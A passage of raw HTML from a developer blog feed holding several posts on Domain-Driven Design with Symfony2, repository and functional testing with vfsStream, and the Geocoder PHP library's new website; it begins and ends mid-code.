<span class="nv">$this</span><span class="o">-></span><span class="nf">assertInstanceOf</span><span class="p">(</span><span class="s1">'Sportbook\CoreDomain\User\User'</span><span class="p">,</span> <span class="nv">$user</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertEquals</span><span class="p">(</span><span class="s1">'Jean'</span><span class="p">,</span> <span class="nv">$user</span><span class="o">-></span><span class="nf">getName</span><span class="p">()</span><span class="o">-></span><span class="nf">getFirstName</span><span class="p">());</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">testFindReturnsNullIfNotFound</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="n">repository</span><span class="o">-></span><span class="nf">find</span><span class="p">(</span>
<span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="s1">'62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23'</span><span class="p">)</span>
<span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertNull</span><span class="p">(</span><span class="nv">$user</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">testAdd</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">addUsers</span><span class="p">();</span>
<span class="nv">$expected</span> <span class="o">=</span> <span class="sh"><<<YAML
-
id: 62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23
first_name: Jean
last_name: Bon
-
id: 62A0CEB4-0403-4AA6-A6CD-1EE808AD4D44
first_name: John
last_name: Doe
YAML;</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertEquals</span><span class="p">(</span>
<span class="nv">$expected</span><span class="p">,</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">cacheDir</span><span class="o">-></span><span class="nf">getChild</span><span class="p">(</span><span class="s1">'users.yml'</span><span class="p">)</span><span class="o">-></span><span class="nf">getContent</span><span class="p">()</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Note that the <code class="language-plaintext highlighter-rouge">testAdd()</code> method is just an example on how to use vfsStream.
Also, I wonāt cover all tests that should be written for this repository, however
you must test all its public methods.</p>
<p>Now, letās setup the functional tests.</p>
<h2 id="functional-testing">Functional Testing</h2>
<p>A while ago, I created a bundle named
<a href="https://github.com/willdurand/BazingaRestExtraBundle">BazingaRestExtraBundle</a>,
which contains various tools that are not part of the
<a href="https://github.com/FriendsOfSymfony/FOSRestBundle">FOSRestBundle</a> (yet).
One of the most useful class is the <code class="language-plaintext highlighter-rouge">WebTestCase</code> which extends the Symfony one,
and provides methods that I use all the time while testing REST APIs, especially
the <code class="language-plaintext highlighter-rouge">assertJsonResponse()</code> I <a href="/2012/08/02/rest-apis-with-symfony2-the-right-way/#testing">already
covered</a>.</p>
<p>Require it as <code class="language-plaintext highlighter-rouge">dev</code> package:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ composer require willdurand/rest-extra-bundle:"0.0.*" --dev
</code></pre></div></div>
<p>Then, create your first functional test class:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\ApiBundle\Tests\Controller</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Bazinga\Bundle\RestExtraBundle\Test\WebTestCase</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">UserControllerTest</span> <span class="kd">extends</span> <span class="nc">WebTestCase</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">testAll</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$client</span> <span class="o">=</span> <span class="k">static</span><span class="o">::</span><span class="nf">createClient</span><span class="p">();</span>
<span class="nv">$crawler</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-></span><span class="nf">request</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,</span> <span class="s1">'/users.json'</span><span class="p">);</span>
<span class="nv">$response</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-></span><span class="nf">getResponse</span><span class="p">();</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertJsonResponse</span><span class="p">(</span><span class="nv">$response</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This test should fail because you didnāt provide any fixtures. Use the
<code class="language-plaintext highlighter-rouge">setUp()</code> method to copy a fixtures file to the cache directory so that you
keep control over the data in your tests:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kd">class</span> <span class="nc">UserControllerTest</span> <span class="kd">extends</span> <span class="nc">WebTestCase</span>
<span class="p">{</span>
<span class="c1">// ...</span>
<span class="k">protected</span> <span class="k">function</span> <span class="n">setUp</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">client</span> <span class="o">=</span> <span class="k">static</span><span class="o">::</span><span class="nf">createClient</span><span class="p">();</span>
<span class="p">(</span><span class="k">new</span> <span class="nc">Filesystem</span><span class="p">())</span><span class="o">-></span><span class="nb">copy</span><span class="p">(</span>
<span class="k">__DIR__</span> <span class="mf">.</span> <span class="s1">'/../Fixtures/users.yml'</span><span class="p">,</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">client</span><span class="o">-></span><span class="nf">getContainer</span><span class="p">()</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'kernel'</span><span class="p">)</span><span class="o">-></span><span class="nf">getCacheDir</span><span class="p">()</span> <span class="mf">.</span> <span class="s1">'/users.yml'</span><span class="p">,</span>
<span class="kc">true</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">Fixtures/users.yml</code> file contains the following data:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">id</span><span class="pi">:</span> <span class="s">50AAF29D-DB0B-43FE-9DD8-2F1C058416C5</span>
<span class="na">first_name</span><span class="pi">:</span> <span class="s">Jean</span>
<span class="na">last_name</span><span class="pi">:</span> <span class="s">Bon</span>
<span class="pi">-</span> <span class="na">id</span><span class="pi">:</span> <span class="s">53E2F088-E0B0-4A21-86A8-67B2FD6A2749</span>
<span class="na">first_name</span><span class="pi">:</span> <span class="s">John</span>
<span class="na">last_name</span><span class="pi">:</span> <span class="s">Doe</span>
</code></pre></div></div>
<p>Thatās it! You are able to test your application in a functional way like a
boss!</p>
<h2 id="conclusion">Conclusion</h2>
<p>As of now, the sample application looks good. It does not do much things right
now, but everything is bootstrapped. You should keep in mind that testing is
really important, and that you should use the right tools even in your tests.
<a href="https://github.com/mikey179/vfsStream">vfsStream</a> is awesome!</p>
<p>Hopefully you now understand why combining programming to the interface with
dependency injection is powerful. Replacing an implementation to another one is
just a matter of alias here.</p>
<p>In the next blog post, I will mainly cover <strong>factories</strong>, stay tuned!</p>
Taking Geocoder to the next level2013-08-29T00:00:00+00:00https://williamdurand.fr/2013/08/29/taking-geocoder-to-the-next-level<p>Almost two years ago, I pushed <a href="https://github.com/geocoder-php/Geocoder/commit/a5e2ebe5a13eab1da663681e0901072b8b121d49">the first
commits</a>
of a project that was anything but useful. I started this project to ease a
friendās life ā @themouette ā who was playing with the Google Maps API in a PHP
app back then. I named this project <a href="https://geocoder-php.org">Geocoder</a> because
I could not come up with a better nameā¦</p>
<p>A few weeks later, this project got a lot more attention, I received very
positive feedback and people started to contribute. That was amazing! At the
time of writing, more than 630 commits have been made by 43 contributors.
According to <a href="https://packagist.org/packages/willdurand/geocoder">Packagist</a>, it
has been installed more than 40K times. Awesome for such a library!</p>
<p>Geocoder is an abstraction layer for most of the existing third-party geocoding
APIs. It is rather specific and that is why these numbers look even more awesome
to me! This project became my most starred library on
<a href="https://github.com/willdurand">GitHub</a>, and the project has been featured by
Smashing Magazine on Twitter ā¤ļø</p>
<p>I believe it became relatively successful because Geocoder has been created to
answer only one need, and the scope was small enough. The library was focused on
(reverse) geocoding addresses, nothing more and certainly nothing fancy.</p>
<p>Earlier this week, I decided to move forward with this project. First of all, I
am glad to unveil a new website available at
<a href="https://geocoder-php.org">geocoder-php.org</a>. The homepage introduces Geocoder
as well as its related projects. More projects will join the family soon! Each
project has its own documentation page and a cookbook will be published soon..</p>
<p>In addition to that, a new GitHub organization called
<a href="https://github.com/geocoder-php">geocoder-php</a> has been created to gather
all the folks interested in the project. It is critical for such a project to be
maintained, and that is why I asked key people to join the new Geocoder family.
Our goal is to make Geocoder even better and future-proof!</p>
<p>Last but not least, Geocoder now has its own shiny logo:</p>
<p><img src="/images/posts/geocoder.png" style="width: 300px" /></p>
<p>We, the Geocoder core team, intend to ship new features and release often. Your
feedback is important. Please get in touch with us about missing features and so
on. Also, if you are using Geocoder, I would personally be glad to hear from
you!</p>
<p>Special thanks to <a href="https://github.com/toin0u">Antoine</a>,
<a href="https://github.com/Baachi">Markus</a>, and <a href="https://github.com/geocoder-php/Geocoder/contributors">all
contributors</a>.</p>
DDD with Symfony2: Making Things Clear2013-08-20T00:00:00+00:00https://williamdurand.fr/2013/08/20/ddd-with-symfony2-making-things-clear<p><a href="http://en.wikipedia.org/wiki/Domain-driven_design">Domain Driven Design</a> also
known as <strong>DDD</strong> is an approach to develop software for complex needs by
connecting the implementation to an evolving model. <a href="http://dddcommunity.org/learning-ddd/what_is_ddd/">It is a way of thinking and
a set of priorities, aimed at accelerating software projects that have to deal
with complicated domains</a>.</p>
<p>It is possible to use this approach in a Symfony2 project, and that is what I am
going to introduce in a series of blog posts. You will learn how to build an
<a href="/2012/08/02/rest-apis-with-symfony2-the-right-way/">application that manages users through a REST
API</a> using <strong>D</strong>omain
<strong>D</strong>riven <strong>D</strong>esign.</p>
<p>This is the second article of this series! You should read <a href="/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/">Folder Structure
And Code First</a>
before digging into that one. This blog post is an attempt to fix a few
misunderstandings coming from the <a href="/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/">first
post</a>. I
recommend you to quickly jump to all links, they are valuable!</p>
<h2 id="ddd-is-not-rad">DDD Is Not RAD</h2>
<p>Domain Driven Design is <strong>not</strong> a <strong>fast</strong> way to build a software. It is not
<a href="http://en.wikipedia.org/wiki/Rapid_application_development">RAD</a> at all! It
implies a lot of boilerplate code, tons of classes, and so on. No, really. It
is not the fastest way to write an application. No one ever said that DDD was
simple or easy.</p>
<p>However, it is able to <strong>ease your life when you have to deal with complex
business expectations</strong>. <em>How?</em> By considering your domain (also known as your
business) as the heart of your application. Honestly, DDD should be used in a
rather <strong>large application</strong>, with complex business rules and scenarios. Donāt
use it if you are building a blog, it does not make much sense (even if it is
probably the best way to learn the hard way). So question is <a href="http://shishkin.wordpress.com/2008/10/10/when-to-use-domain-driven-design/">when to use
DDD?</a>
I would say when your domain is very complex, or when the business requirements
change fast.</p>
<h2 id="there-is-no-database">There Is No Database</h2>
<p>In DDD, we <strong>donāt consider any databases</strong>. <a href="http://devlicio.us/blogs/casey/archive/2009/02/12/ddd-there-is-no-database.aspx">DDD is all about the domain, not
about the database, and Persistence Ignorance (PI) is a very important aspect of
DDD</a>.</p>
<p>With <strong>Persistence Ignorance</strong>, we try and eliminate all knowledge from our
business objects of how, where, why or even if they will be stored somewhere.
Persistence Ignorance means that <a href="http://stackoverflow.com/questions/905498/what-are-the-benefits-of-persistence-ignorance">the business logic itself doesnāt know about
persistence</a>.
In other words, <strong>your Entities should not be tied to any persistence layer or
framework</strong>.</p>
<p>So, donāt expect me to make choices because it works better with Doctrine, Propel
or whatever. This is not how we should use DDD. We, as <a href="http://devlicio.us/blogs/casey/archive/2008/09/10/the-tao-of-domain-driven-design.aspx">developers, need to
become part of our business users domains, we need to stop thinking in technical
terms and constructs, and need to immerse ourselves in the world our business
users inhabit</a>.</p>
<h2 id="ddd-and-rest">DDD And REST</h2>
<p>By now, I use a REST API as <strong>Presentation Layer</strong>. It is <strong>perfectly doable</strong>
and, even if <a href="http://dontpanic.42.nl/2012/04/rest-and-ddd-incompatible.html">both concepts seem opposites, they play nice
together</a>. Remember that
one of the <strong>strengths</strong> of DDD is the <strong>separation of concerns</strong> thanks to
<a href="/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/#conclusion">distinct
layers</a>.
I am afraid that people think that it is not possible to play with both at the same
time because <a href="http://blog.steveklabnik.com/posts/2011-07-03-nobody-understands-rest-or-http">nobody understands REST or
HTTP</a>.</p>
<p>Basically, <a href="http://stackoverflow.com/questions/10943758/is-it-good-to-return-domain-model-from-rest-api-over-a-ddd-application">you should not expose your Domain Model as-is over a public
interface</a>
such as a REST API. That is why you should <a href="http://neverstopbuilding.net/the-dto-pattern-how-to-generate-php-dtos-quickly-with-dtox/">use
Data Transfer Objects</a>
(<a href="http://en.wikipedia.org/wiki/Data_transfer_object">DTOs</a>). DTOs are <strong>simple
objects</strong> that <strong>should not contain any business logic</strong> that would require
testing by the way. A DTO could be seen as a PHP <code class="language-plaintext highlighter-rouge">array</code> actually.</p>
<p>What you should do here is to write a REST API that <strong>exposes resources that
make sense for the clients</strong> (the clients that consume your API), and that are
not always 1-1 with your Domain Model. See these resources as DTOs. For
instance, if you deal with <em>Orders</em> and <em>Payments</em>, you could <strong>create</strong> a
<em>transaction</em> resource to perform the business operation
<code class="language-plaintext highlighter-rouge">payOrder(Order $order, Payment $payment)</code> as proposed by Jonathan Bensaid in
the (now deleted) comments of the previous article:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /transactions
orderId=123&paymentId=456&...
</code></pre></div></div>
<p>The <strong>Application Layer</strong> will receive the data from the <strong>Presentation Layer</strong>
and call the <strong>Domain Layer</strong>. This <code class="language-plaintext highlighter-rouge">transaction</code> is a DTO. It is not part of
the domain but it is useful to exchange information between the Presentation and
the Application layers.</p>
<p>However, in the previous article I was able to directly map my <code class="language-plaintext highlighter-rouge">User</code> Entity to
resources of type <em>users</em>. But if you look at the whole thing, I used a
Serializer component to only expose some properties. That is actually another
sort of DTO. The Entity is transformed to only expose data that are relevant for
the clients (the clients that consume your API). So it is ok(-ish)!</p>
<p>Also, note that HTTP methods explicitly delineate commands and
queries. That means <strong>Command Query Responsibility Separation</strong>
<a href="http://martinfowler.com/bliki/CQRS.html">CQRS</a> <strong>maps directly to HTTP</strong>. Hurray!</p>
<h2 id="so-whats-next">So, Whatās Next?</h2>
<p>In this series, I will introduce a more complex business, donāt worry! Hopefully
I was clear enough to explain my choices regarding this series, and I fixed some
misconceptions about DDD, RAD, and REST.</p>
<p>In the next blog post, I will introduce the <strong>Presentation Layer</strong>, new Value
Objects such as the <code class="language-plaintext highlighter-rouge">Name</code> one, and more on <strong>DDD</strong>! At the end of the next
post, you will basically get a CRUD-ish application. Yes, I knowā¦ <a href="http://verraes.net/2013/04/crud-is-an-anti-pattern/">CRUD is an
anti-pattern</a>, but it does
not mean you should avoid it all the time. Creating new <em>users</em> make sense
afterall.</p>
<p>The third post will allow you to create almost everything you need in the
different DDD layers to build a strong and powerful domain, with complex logic,
and so on. You may not get why DDD is great until that, so donāt panic and stay
tuned!</p>
DDD with Symfony2: Folder Structure And Code First2013-08-07T00:00:00+00:00https://williamdurand.fr/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first<p><a href="http://en.wikipedia.org/wiki/Domain-driven_design">Domain Driven Design</a> also
known as <strong>DDD</strong> is an approach to develop software for complex needs by
connecting the implementation to an evolving model. <a href="http://dddcommunity.org/learning-ddd/what_is_ddd/">It is a way of thinking and
a set of priorities, aimed at accelerating software projects that have to deal
with complicated domains</a>.</p>
<p>It is possible to use this approach in a Symfony2 project, and that is what I am
going to introduce in a series of blog posts. You will learn how to build an
<a href="/2012/08/02/rest-apis-with-symfony2-the-right-way/">application that manages users through a REST
API</a> using <strong>D</strong>omain
<strong>D</strong>riven <strong>D</strong>esign.</p>
<h2 id="bootstrap">Bootstrap</h2>
<p>Start by creating a fresh project using the
<a href="https://github.com/symfony/symfony-standard">symfony-standard</a> edition:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>composer create-project symfony/framework-standard-edition path/to/install
</code></pre></div></div>
<p>I use to remove unecessary files such as <code class="language-plaintext highlighter-rouge">src/*</code>, as well as useless bundles. My
<code class="language-plaintext highlighter-rouge">composer.json</code> file requires the following packages (for now):</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"require"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"php"</span><span class="p">:</span><span class="w"> </span><span class="s2">">=5.3.3"</span><span class="p">,</span><span class="w">
</span><span class="nl">"symfony/symfony"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.3.*"</span><span class="p">,</span><span class="w">
</span><span class="nl">"sensio/distribution-bundle"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.3.*"</span><span class="p">,</span><span class="w">
</span><span class="nl">"twig/extensions"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.0.*"</span><span class="p">,</span><span class="w">
</span><span class="nl">"symfony/monolog-bundle"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.3.*"</span><span class="p">,</span><span class="w">
</span><span class="nl">"incenteev/composer-parameter-handler"</span><span class="p">:</span><span class="w"> </span><span class="s2">"~2.0"</span><span class="p">,</span><span class="w">
</span><span class="nl">"sensio/framework-extra-bundle"</span><span class="p">:</span><span class="w"> </span><span class="s2">"~2.3"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Donāt forget to update the <code class="language-plaintext highlighter-rouge">AppKernel</code> class accordingly. You are now ready!</p>
<h2 id="folder-structure">Folder Structure</h2>
<p>As Mathias Verraes stated in his blog post about <a href="http://verraes.net/2011/10/code-folder-structure/">Code Folder
Structures</a>, most of the
usual Symfony2 project folder structures are <strong>not efficient</strong>. That is why it
is important to spend some time designing a decent folder structure.</p>
<p>In your case, the domain expert said <em>users</em> are <strong>centrepieces</strong>. The word
<em>User</em> is part of the <a href="http://martinfowler.com/bliki/UbiquitousLanguage.html">Ubiquitous
Language</a>, the term <a href="http://www.amazon.com/gp/product/0321125215">Eric
Evans</a> uses in <strong>DDD</strong> for the
practice of building up a common, rigorous language between developers and
users.</p>
<p>At first glance, it sounds like a good idea to create a <code class="language-plaintext highlighter-rouge">CoreDomainBundle</code> or
even a <code class="language-plaintext highlighter-rouge">UserBundle</code> bundle that will own users related things. <em><a href="http://www.youtube.com/watch?v=xoMgnJDXd3k">Nein Nein Nein
Nein Nein Nein!</a></em> I too often say
that <strong>bundles should integrate libraries</strong>, and I am not the <a href="http://richardmiller.co.uk/2013/06/18/symfony2-bundle-structure-bundles-as-integration-layers-for-libraries/">only
one</a>.</p>
<p>This also applies to your bundles, so users related stuff will better live in a
<code class="language-plaintext highlighter-rouge">CoreDomain</code> package:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src
āāā Acme
āāā CoreDomain
āāā User
</code></pre></div></div>
<p>However, you still need a <code class="language-plaintext highlighter-rouge">CoreDomainBundle</code> bundle in order to integrate your
<code class="language-plaintext highlighter-rouge">CoreDomain</code> package into your Symfony2 project:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src
āāā Acme
āāā CoreDomain
ā āāā User
āāā CoreDomainBundle
āāā AcmeCoreDomainBundle.php
</code></pre></div></div>
<p>This package is part of the <strong>Domain Layer</strong>. This layer is the <strong>heart</strong> of
your application. <strong>Business rules and logic live inside this layer</strong>. Business
entity state and behavior are defined and used here. Next section is about
designing this <strong>Domain Layer</strong> using a <strong>Code First</strong> approach.</p>
<h2 id="code-first">Code First</h2>
<p>The <strong>Code First</strong> approach provides an alternative to the well-known <strong>Database
First</strong> approach. As far as I know, it comes from the Microsoft world, but it
does not really matter.</p>
<p>Using a Database First approach, you design your database schema, and then
generate your classes. That is how <a href="http://propelorm.org">Propel</a> works for
instance. It is <a href="http://en.wikipedia.org/wiki/Rapid_application_development">RAD</a>
compliant, but it does not fit the <strong>DDD</strong> mindset.</p>
<p>Letās try the <strong>Code First</strong> approach then. Basically, start by writing your
classes, think in term of objects, not tables. You donāt have to take care of
the database yet. The <strong>domain expert</strong> said a <code class="language-plaintext highlighter-rouge">User</code> has an <em>identifier</em>, a
<em>first name</em>, and a <em>last name</em>.</p>
<p>The <code class="language-plaintext highlighter-rouge">User</code> class is called an
<a href="http://devlicio.us/blogs/casey/archive/2009/02/13/ddd-entities-and-value-objects.aspx">Entity</a>
in <strong>DDD</strong> as it has an <strong>identity</strong>. It is unique within the system.
<strong>Identity</strong> can be represented in many ways on an entity, it could be a numeric
identifier, a <a href="http://en.wikipedia.org/wiki/Globally_unique_identifier">GUID</a>,
or a natural key. Note that these <a href="http://dddsample.sourceforge.net/characterization.html#Entities">Entities</a>
are not the same as the <a href="http://www.doctrine-project.org/">Doctrine</a> ones. They
might be Doctrine classes, but they donāt have to be.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\CoreDomain\User</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$id</span><span class="p">;</span>
<span class="k">private</span> <span class="nv">$firstName</span><span class="p">;</span>
<span class="k">private</span> <span class="nv">$lastName</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="kt">UserId</span> <span class="nv">$id</span><span class="p">,</span> <span class="nv">$firstName</span><span class="p">,</span> <span class="nv">$lastName</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">id</span> <span class="o">=</span> <span class="nv">$id</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">firstName</span> <span class="o">=</span> <span class="nv">$firstName</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">lastName</span> <span class="o">=</span> <span class="nv">$lastName</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getId</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="n">id</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getFirstName</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="n">firstName</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getLastName</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="n">lastName</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Generally speaking, try to
<a href="/2013/06/03/object-calisthenics//#9-no-getterssettersproperties">avoid</a>
<a href="http://whitewashing.de/2012/08/22/building_an_object_model__no_setters_allowed.html">setters</a>
in order to make your code
<a href="/2013/07/30/from-stupid-to-solid-code/#openclosed-principle">solid</a>.
You could use a <a href="http://dddsample.sourceforge.net/characterization.html#Value_Objects">Value
Object</a>
to <a href="/2013/06/03/object-calisthenics/#8-no-classes-with-more-than-two-instance-variables">represent the name of the
user</a>
but it is not mandatory.</p>
<p>By the way, a <a href="http://martinfowler.com/eaaCatalog/valueObject.html">Value Object</a>
is a simple object whose equality is <strong>not based on identity</strong>, instead two
Value Objects are equal if all their fields are equal. Value Objects can be a
Money or date range object. Their key property is that they follow value
semantics rather than reference semantics. <a href="http://www.codeproject.com/Articles/339725/Domain-Driven-Design-Clear-Your-Concepts-Before-Yo">They donāt however have any value
other than by virtue of their
attributes</a>.
Also, <a href="http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable">Value Objects should be
immutable</a>. If you want to
change a Value Object you should replace the object with a new one.</p>
<p>As you might noticed, the <code class="language-plaintext highlighter-rouge">User</code> identifier is represented by a <code class="language-plaintext highlighter-rouge">UserId</code>
instance, not a scalar type because you donāt know which type to use. Will it be
a numeric identifier or a GUID? You donāt know yet. Also, instead of passing IDs
everywhere, having a class for them makes this very explicit. This <code class="language-plaintext highlighter-rouge">UserId</code>
class is your very first <strong>Value Object</strong>:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\CoreDomain\User</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">UserId</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$value</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">value</span> <span class="o">=</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$value</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getValue</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="n">value</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The domain expert said the application will manage <strong>users</strong>, so your
application will deal with a <strong>collection</strong> of users. In <strong>DDD</strong>, a collection
can be implemented by using the
<a href="http://martinfowler.com/eaaCatalog/repository.html">Repository</a> design pattern.</p>
<p>A Repository mediates between the domain and data mapping using a
<strong>collection-like interface</strong> for accessing domain objects. It is <strong>not</strong> a Data
Access Layer though, as it deals with Entities and Value Objects. Note that there
are <a href="http://lostechies.com/jimmybogard/2009/09/03/ddd-repository-implementation-patterns/">various Repository implementation
patterns</a>
but, in your case, here is how your <code class="language-plaintext highlighter-rouge">UserRepository</code> interface should look like:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\CoreDomain\User</span><span class="p">;</span>
<span class="kd">interface</span> <span class="nc">UserRepository</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">find</span><span class="p">(</span><span class="kt">UserId</span> <span class="nv">$userId</span><span class="p">);</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">findAll</span><span class="p">();</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">add</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">);</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">remove</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>You should end up with the following folder structure:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src
āāā Acme
āāā CoreDomain
ā āāā User
ā āāā User.php
ā āāā UserId.php
ā āāā UserRepository.php
āāā CoreDomainBundle
āāā AcmeCoreDomainBundle.php
</code></pre></div></div>
<p>Now that you have a decent <strong>Domain Layer</strong> with Entities, Value Objects, and
Repositories, letās wire it to your Symfony2 application. Note that your
<strong>Domain Layer</strong> is <strong>reusable</strong>, and loosely coupled. That is really important!</p>
<h2 id="the-infrastructure-layer">The Infrastructure Layer</h2>
<p>In a <strong>Code First</strong> approach, you can <strong>delay the decision</strong> to choose a
persistence layer. The main advantage is to be able to write some other parts of
the application without having to wait.</p>
<p>You can create a <code class="language-plaintext highlighter-rouge">InMemoryUserRepository</code> class that implements the
<code class="language-plaintext highlighter-rouge">UserRepository</code> interface which contains hardcoded objects:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\CoreDomainBundle\Repository</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\User</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\UserId</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\UserRepository</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">InMemoryUserRepository</span> <span class="kd">implements</span> <span class="nc">UserRepository</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$users</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">users</span><span class="p">[]</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="p">(</span>
<span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="s1">'8CE05088-ED1F-43E9-A415-3B3792655A9B'</span><span class="p">),</span> <span class="s1">'John'</span><span class="p">,</span> <span class="s1">'Doe'</span>
<span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">users</span><span class="p">[]</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="p">(</span>
<span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="s1">'62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23'</span><span class="p">),</span> <span class="s1">'Jean'</span><span class="p">,</span> <span class="s1">'Bon'</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">find</span><span class="p">(</span><span class="kt">UserId</span> <span class="nv">$userId</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">findAll</span><span class="p">()</span>
<span class="p">{</span>
